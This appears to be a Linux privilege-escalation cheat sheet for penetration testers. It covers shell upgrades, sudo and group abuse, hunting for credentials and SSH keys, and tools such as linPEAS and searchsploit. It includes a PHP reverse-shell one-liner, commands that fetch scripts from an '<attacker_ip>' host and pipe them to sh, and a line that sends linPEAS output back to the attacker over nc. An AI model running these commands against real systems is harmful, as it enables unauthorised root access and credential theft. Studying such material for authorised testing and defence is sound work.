LINUX PRIV ESC

CHEATSHEET

JAN VARENKAMP & LUKAS MARCKMILLER

SHELL UPGRADE

These commands can upgrade your shell to a TTY shell, that some commands relay on. It also gives some neat features like autocomplete.

```
# Bash
/bin/sh -i

# Python
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c "__import__('pty').spawn('/bin/bash')"

# Perl
perl -e 'exec "/bin/sh";'

# PHP
php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'

# Ruby
ruby: exec "/bin/sh"

# My Personal favorite, typescript
script -qc /bin/bash /dev/null
```

Many more
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

GROUPS

After upgrading our shell and before we execute the heavy PrivEsc automation scripts we check the user group if something stands out that already does the trick e.g to give us a root shell.

```
# check groups I’m part of
/bin/id
uid=2001(user) gid=2001(user) groups=0(sudo)
```

If you are part of group **sudo**, call
`sudo /bin/bash`
Otherwise, check
https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe

SUDO -L

Next we can gather information about certain privileges for our user that are configured in /etc/sudoers with:
`sudo -l`
`User user may run the following commands on:`
`(root) NOPASSWD: /usr/bin/find`

Nice! We are allowed to run find as the root user without providing a password.
We can check on https://gtfobins.github.io/#find how to spawn a shell or execute arbitrary commands with find.

If there is something different, but not less interesting displayed you should check
https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid

ENUMMERATION

Okay, that is the last step before our bloodthirsty automation tools are to be set free, I promise.

You should definitely check the current (home) directory before moving anywhere.
Lists all the files in the current directory and subdirectories (-R), as well as hidden files starting with a '.'.
`ls -la -R.`
You can retrieve some file format information using the file command:
`file filename`
… or retrieve all printable text from inside executable files.
`strings myexec`

Files that you usually find in a home directory are:

- .bash_history: contains the previous executed commands in a bash terminal session. The history can contain credentials for services entered by an unaware user.
- .bash_profile, .bashrc: user specific bash start configuration, that can contain some interesting commands being executed.
- .ssh: This is very interesting since it can contain private ssh keys.
- Script files ending with *.sh should be checked manually with e.g `cat`.
- More information about potential interesting files can be found here: https://book.hacktricks.xyz/linux-unix/privilege-escalation#interesting-files

AUTOMATED TOOLS

Before we take a look on the different tools, we need to solve an additional problem. How to get the scripts to the victim?

UPLOAD

We can use python on our attacker machine to start a http server, ideally in the directory that contains our scripts.

Attacker

```
# If python version 3
python -m http.server 8000

# If python version 2
python -m SimpleHTTPServer 8000

# If python is not installed
sudo nc -q 5 -lvnp 80 < linpeas.sh #Attacker
cat < /dev/tcp/<attacker_ip>/80 | sh #Victim
```

Victim

```
wget -O script.sh http://<attacker_ip>/script.sh | sh
or
curl -O http://<attacker_ip>/script.sh | sh
```

LINPEAS

LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix* hosts. The checks are explained on **book.hacktricks.xyz**

If the victim machine is connected to the internet, you can also download and execute the script directly from e.g linPEAS from github.

```
curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh
```

If you are in stealth mode you can also execute it directly from the memory and send the output back tot he host

```
nc -lvnp 9002 | tee linpeas.out #Attacker
curl attacker_ip:8000/linpeas.sh | sh | nc <attacker_ip> 9002 #Victim
```

LinPEAS marks the output in different colors, very interesting are parts marked in Red/Yellow and Red

If linPEAS marks something like me, than it leads to a PrivEsc with about 99%
Im also very very intersting according to linPEAS

Further information can be found here: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

LINENUM

Like LinPEAS, LinEnum outputs System information, User information, privileged access, environment information, Jobs/Task and Services, Version Information, SUID/SGID scans and more.

https://github.com/rebootuser/LinEnum

LINUX EXPLOIT SUGGESTER

The Exploit suggester comes in two versions maintained in different Repositories, where both repositories are still active.

https://github.com/mzet-/linux-exploit-suggester
Collects information about the system (and kernel) and displays all exploits that exist for the collected version information and orders them by likely vulnerability. One less known feature of les is a scan for security settings provided by the linux kernel. It can also contain a link to a POC code.

```
./linux-exploit-suggester.sh –checksec
```

https://github.com/jondonas/linux-exploit-suggester-2
According to the authors, linux-exploit-suggester- extends the previously mentioned first version with the following features:

- More exploits
- Option to download exploit code directly from Exploit DB
- Accurate wildcard matching. This expands the scope of searchable exploits.

SEARCHSPLOIT

If you evaluate the results of the scanner and have found a hot candidate but the scanner doesn’t provide a link to a exploit code, serachsploit offers a command line interface to find a POC for the found vulnerability.

```
searchsploit tomcat
---------------------------------------------- ---------------------------------
 Exploit Title                                |  Path
---------------------------------------------- ---------------------------------
4D WebSTAR 5.3/5.4 Tomcat Plugin -
 Remote Buffer Overflow                       | osx/remote/25626.c
Apache 1.3.x + Tomcat 4.0.x/4.1.x mod_jk -
Chunked Encoding Denial of Service            | unix/dos/22068.pl
Apache Commons FileUpload and Apache Tomcat
 - Denial of Service                          | multiple/dos/31615.rb
Apache Tomcat (Windows) – 'runtime.getRuntime()
.exec()' Local Privilege Escalation           | windows/local/7264.txt
---------------------------------------------- ---------------------------------
```

If you have Kali with searchsploit installed, you can copy the exploit to your working directory with `cp /usr/share/exploitdb/exploit/unix/dos/22068.pl .`